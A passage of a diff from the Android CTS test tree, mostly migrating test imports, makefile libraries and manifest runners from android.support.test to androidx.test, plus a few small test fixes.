import static android.content.pm.ApplicationInfo.FLAG_MULTIARCH;
import static android.content.pm.ApplicationInfo.FLAG_SUPPORTS_RTL;
-import static android.os.Process.FIRST_APPLICATION_UID;
-import static android.os.Process.LAST_APPLICATION_UID;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
@@ -38,10 +35,11 @@
import android.os.Parcel;
import android.os.Process;
import android.os.UserHandle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StringBuilderPrinter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
index e9c61ea..92721ef 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -38,9 +38,10 @@
import android.content.pm.PackageInstaller.SessionParams;
import android.graphics.Bitmap;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
index dd45668..b93f858 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -33,8 +33,9 @@
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import libcore.io.Streams;
diff --git a/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java b/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
index a1845d7..6998103 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
@@ -21,6 +21,16 @@
import android.content.Context;
import android.content.cts.R;
+import android.content.cts.util.XmlUtils;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.util.TypedValue;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
@@ -28,18 +38,7 @@
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
-import android.content.cts.util.XmlUtils;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.AssetManager;
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.TypedValue;
-
import java.io.BufferedReader;
-import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
diff --git a/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java b/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java
index 32db789..a94551c 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java
@@ -19,18 +19,19 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-
import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+
@SmallTest
public class AssetManager_AssetInputStreamTest {
private static final byte[] EXPECTED_BYTES = "OneTwoThreeFourFiveSixSevenEightNineTen".getBytes(
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 51d18a5..8b38c08 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -23,8 +23,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
android-common \
- ctstestrunner \
- ctstestrunner \
+ ctstestrunner-axt \
+ ctstestrunner-axt \
ub-uiautomator \
junit
diff --git a/tests/tests/database/AndroidManifest.xml b/tests/tests/database/AndroidManifest.xml
index 145ed7b..49e2f3ee 100644
--- a/tests/tests/database/AndroidManifest.xml
+++ b/tests/tests/database/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.database.cts"
android:label="CTS tests of android.database">
<meta-data android:name="listener"
diff --git a/tests/tests/database/src/android/database/cts/CursorWindowTest.java b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
index 2d7473e..671a061 100644
--- a/tests/tests/database/src/android/database/cts/CursorWindowTest.java
+++ b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
@@ -16,22 +16,6 @@
package android.database.cts;
-import android.database.CharArrayBuffer;
-import android.database.CursorWindow;
-import android.database.MatrixCursor;
-import android.database.sqlite.SQLiteException;
-import android.os.Parcel;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.suitebuilder.annotation.SmallTest;
-
-import org.junit.Assert;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Random;
-
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
@@ -39,6 +23,22 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.database.CharArrayBuffer;
+import android.database.CursorWindow;
+import android.database.MatrixCursor;
+import android.database.sqlite.SQLiteException;
+import android.os.Parcel;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Random;
+
@RunWith(AndroidJUnit4.class)
@SmallTest
public class CursorWindowTest {
diff --git a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
index 5b52790..2836042 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
@@ -17,10 +17,11 @@
package android.database.sqlite.cts;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
/**
* Common utility methods for testing
*/
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index 15b20d6..f901e9c 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -16,12 +16,8 @@
package android.database.sqlite.cts;
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Locale;
-import java.util.concurrent.Semaphore;
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
import android.app.ActivityManager;
import android.content.ContentValues;
@@ -38,15 +34,17 @@
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteStatement;
import android.database.sqlite.SQLiteTransactionListener;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
import android.test.MoreAsserts;
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
-import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
-import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Locale;
+import java.util.concurrent.Semaphore;
public class SQLiteDatabaseTest extends AndroidTestCase {
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index a620071..eb51afa 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -16,6 +16,9 @@
package android.database.sqlite.cts;
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
+
import android.app.ActivityManager;
import android.content.Context;
import android.database.Cursor;
@@ -23,22 +26,17 @@
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabase.CursorFactory;
import android.database.sqlite.SQLiteDebug;
import android.database.sqlite.SQLiteGlobal;
import android.database.sqlite.SQLiteOpenHelper;
import android.database.sqlite.SQLiteQuery;
-import android.database.sqlite.SQLiteDatabase.CursorFactory;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
import android.util.Log;
import java.io.File;
import java.util.Arrays;
-import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
-import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
-
/**
* Test {@link SQLiteOpenHelper}.
*/
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index c715d07..68e8f90 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -30,7 +30,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt nativetesthelper
LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
index 091e778..16537fb 100644
--- a/tests/tests/debug/AndroidManifest.xml
+++ b/tests/tests/debug/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.debug.cts"
android:label="CTS tests of native debugging API">
</instrumentation>
diff --git a/tests/tests/display/src/android/display/cts/BrightnessTest.java b/tests/tests/display/src/android/display/cts/BrightnessTest.java
index 6b01df2..f057b73 100644
--- a/tests/tests/display/src/android/display/cts/BrightnessTest.java
+++ b/tests/tests/display/src/android/display/cts/BrightnessTest.java
@@ -101,6 +101,10 @@
grantPermission(Manifest.permission.BRIGHTNESS_SLIDER_USAGE);
+ // Sleep to work around a issue with events being recorded incorrectly
+ // on devices with sensors that require a warmup time.
+ Thread.sleep(2000);
+
// Setup and remember some initial state.
recordSliderEvents();
setSystemSetting(Settings.System.SCREEN_BRIGHTNESS, 20);
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 960bed8..a4c3315 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/dpi/AndroidManifest.xml b/tests/tests/dpi/AndroidManifest.xml
index 32576f2..5457d92 100644
--- a/tests/tests/dpi/AndroidManifest.xml
+++ b/tests/tests/dpi/AndroidManifest.xml
@@ -27,7 +27,7 @@
android:configChanges="orientation" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.dpi.cts"
android:label="CTS tests for DPI">
<meta-data android:name="listener"
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index a7b2692..d05e231 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -22,13 +22,13 @@
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
-import android.support.test.InstrumentationRegistry;
import android.test.ActivityInstrumentationTestCase2;
import android.util.DisplayMetrics;
import android.view.Display;
-import android.view.ViewConfiguration;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+
public class ConfigurationScreenLayoutTest
extends ActivityInstrumentationTestCase2<OrientationActivity> {
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7ac5246..8fdc701 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -83,8 +83,8 @@
allowedDensities.add(DisplayMetrics.DENSITY_XXHIGH);
allowedDensities.add(DisplayMetrics.DENSITY_560);
allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
- assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
- + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
+ assertTrue("DisplayMetrics.DENSITY_DEVICE_STABLE must be one of the DisplayMetrics.DENSITY_* values: "
+ + allowedDensities, allowedDensities.contains(DisplayMetrics.DENSITY_DEVICE_STABLE));
assertEquals(mMetrics.density,
(float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index f366781..ec7b751 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# We use the DefaultManifestAttributesTest from the android.cts.dpi package.
-LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner-axt junit
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/dpi2/AndroidManifest.xml b/tests/tests/dpi2/AndroidManifest.xml
index f3d5be0..28b5579 100644
--- a/tests/tests/dpi2/AndroidManifest.xml
+++ b/tests/tests/dpi2/AndroidManifest.xml
@@ -27,7 +27,7 @@
properly for the screen size attributes. -->
<uses-sdk android:minSdkVersion="3" android:targetSdkVersion="17" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.dpi2.cts"
android:label="CTS tests for DPI">
<meta-data android:name="listener"
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index 870a635..b27b989 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/dreams/AndroidManifest.xml b/tests/tests/dreams/AndroidManifest.xml
index e683700..4070187 100644
--- a/tests/tests/dreams/AndroidManifest.xml
+++ b/tests/tests/dreams/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.dreams.cts"
android:label="CTS tests for the android.service.dreams package">
<meta-data android:name="listener"
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index 2a7ee52..0b47c85 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,7 +24,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/drm/AndroidManifest.xml b/tests/tests/drm/AndroidManifest.xml
index c4ea03d..5d8bb7e 100644
--- a/tests/tests/drm/AndroidManifest.xml
+++ b/tests/tests/drm/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.drm.cts"
android:label="CTS tests of android.drm">
<meta-data android:name="listener"
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
index ef122ca..7d1d574 100644
--- a/tests/tests/dynamic_linker/Android.mk
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -39,7 +39,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, .)
LOCAL_MULTILIB := both
LOCAL_JNI_SHARED_LIBRARIES := libdynamiclinker_native_lib_a libdynamiclinker_native_lib_b
diff --git a/tests/tests/dynamic_linker/AndroidManifest.xml b/tests/tests/dynamic_linker/AndroidManifest.xml
index db8099e..d417449 100644
--- a/tests/tests/dynamic_linker/AndroidManifest.xml
+++ b/tests/tests/dynamic_linker/AndroidManifest.xml
@@ -22,5 +22,5 @@
</application>
<instrumentation
android:targetPackage="com.android.dynamiclinker"
- android:name="android.support.test.runner.AndroidJUnitRunner" />
+ android:name="androidx.test.runner.AndroidJUnitRunner" />
</manifest>
\ No newline at end of file
diff --git a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
index f0d7c4b..f2e19fe 100644
--- a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
+++ b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
@@ -16,8 +16,9 @@
package com.android.dynamiclinker;
+import androidx.test.InstrumentationRegistry;
+
import junit.framework.TestCase;
-import android.support.test.InstrumentationRegistry;
public class DynamicLinkerTest extends TestCase {
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
index adf2baa..f2fcc94 100644
--- a/tests/tests/effect/Android.mk
+++ b/tests/tests/effect/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/effect/AndroidManifest.xml b/tests/tests/effect/AndroidManifest.xml
index 81f3bbf..5323fe6 100644
--- a/tests/tests/effect/AndroidManifest.xml
+++ b/tests/tests/effect/AndroidManifest.xml
@@ -22,7 +22,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.effect.cts"
android:label="CTS tests of android.media.effect component">
<meta-data android:name="listener"
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index c64c0ca..d5513e3 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/externalservice/AndroidManifest.xml b/tests/tests/externalservice/AndroidManifest.xml
index 0c5ea5d..c5c655e 100644
--- a/tests/tests/externalservice/AndroidManifest.xml
+++ b/tests/tests/externalservice/AndroidManifest.xml
@@ -23,7 +23,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS external service tests"
android:targetPackage="android.externalservice.cts" >
</instrumentation>
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index 8563cb1..400891e 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
@@ -23,8 +23,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
CtsExternalServiceCommon \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index 9030a13..d3d1046 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -23,11 +23,11 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES += \
- android-support-test \
+ androidx.test.rules \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctsdeviceutillegacy \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt \
androidx.annotation_annotation \
junit
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 76552a1..afca571 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -56,7 +56,7 @@
</provider>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.graphics.cts"
android:label="CTS tests of android.graphics">
<meta-data android:name="listener"
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index c2dd5b4..17d952f 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -263,27 +263,6 @@
};
VK_CALL(vkCreateImage(mInit->device(), &createInfo, nullptr, &mImage));
- VkImageMemoryRequirementsInfo2 memReqsInfo;
- memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
- memReqsInfo.pNext = nullptr;
- memReqsInfo.image = mImage;
-
- VkMemoryDedicatedRequirements dedicatedMemReqs;
- dedicatedMemReqs.sType = VK_STRUCTURE_TYPE_MEMORY_DEDICATED_REQUIREMENTS;
- dedicatedMemReqs.pNext = nullptr;
-
- VkMemoryRequirements2 memReqs;
- memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
- memReqs.pNext = &dedicatedMemReqs;
-
- PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
- (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
- mInit->device(), "vkGetImageMemoryRequirements2KHR");
- ASSERT(getImageMemoryRequirements);
- getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
- ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
- ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
-
VkImportAndroidHardwareBufferInfoANDROID androidHardwareBufferInfo{
.sType = VK_STRUCTURE_TYPE_IMPORT_ANDROID_HARDWARE_BUFFER_INFO_ANDROID,
.pNext = nullptr,
@@ -317,6 +296,27 @@
ASSERT(bindImageMemory);
VK_CALL(bindImageMemory(mInit->device(), 1, &bindImageInfo));
+ VkImageMemoryRequirementsInfo2 memReqsInfo;
+ memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
+ memReqsInfo.pNext = nullptr;
+ memReqsInfo.image = mImage;
+
+ VkMemoryDedicatedRequirements dedicatedMemReqs;
+ dedicatedMemReqs.sType = VK_STRUCTURE_TYPE_MEMORY_DEDICATED_REQUIREMENTS;
+ dedicatedMemReqs.pNext = nullptr;
+
+ VkMemoryRequirements2 memReqs;
+ memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
+ memReqs.pNext = &dedicatedMemReqs;
+
+ PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
+ (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
+ mInit->device(), "vkGetImageMemoryRequirements2KHR");
+ ASSERT(getImageMemoryRequirements);
+ getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
+ ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
+ ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
+
if (useExternalFormat /* TODO: || explicit format requires conversion */) {
VkSamplerYcbcrConversionCreateInfo conversionCreateInfo{
.sType = VK_STRUCTURE_TYPE_SAMPLER_YCBCR_CONVERSION_CREATE_INFO,
diff --git a/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java b/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
index f7cf694..17ab379 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
@@ -16,9 +16,10 @@
package android.graphics.cts;
-import static org.junit.Assert.assertEquals;
import static android.opengl.EGL14.*;
+import static org.junit.Assert.assertEquals;
+
import android.graphics.SurfaceTexture;
import android.opengl.EGL14;
import android.opengl.EGLConfig;
@@ -26,16 +27,16 @@
import android.opengl.EGLDisplay;
import android.opengl.EGLSurface;
import android.opengl.GLES20;
-import android.support.test.filters.SmallTest;
-import android.view.Surface;
import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.filters.SmallTest;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.BlockJUnit4ClassRunner;
-
@SmallTest
@RunWith(BlockJUnit4ClassRunner.class)
public class ANativeWindowTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java b/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java
index b4e6ed6..8bf45f9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java
@@ -18,17 +18,15 @@
import static android.opengl.EGL14.*;
-import android.graphics.Canvas;
import android.graphics.SurfaceTexture;
import android.opengl.EGL14;
import android.opengl.EGLConfig;
import android.opengl.EGLContext;
import android.opengl.EGLDisplay;
import android.opengl.EGLSurface;
-import android.support.test.filters.SmallTest;
-import android.util.Log;
-import android.view.Surface;
+import androidx.test.filters.SmallTest;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java
index f4a9954..d6b0f07 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java
@@ -16,9 +16,10 @@
package android.graphics.cts;
import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
import android.test.suitebuilder.annotation.SmallTest;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
index 7645e25..31f2495 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
@@ -30,14 +30,14 @@
import android.graphics.ColorSpace;
import android.graphics.ImageDecoder;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
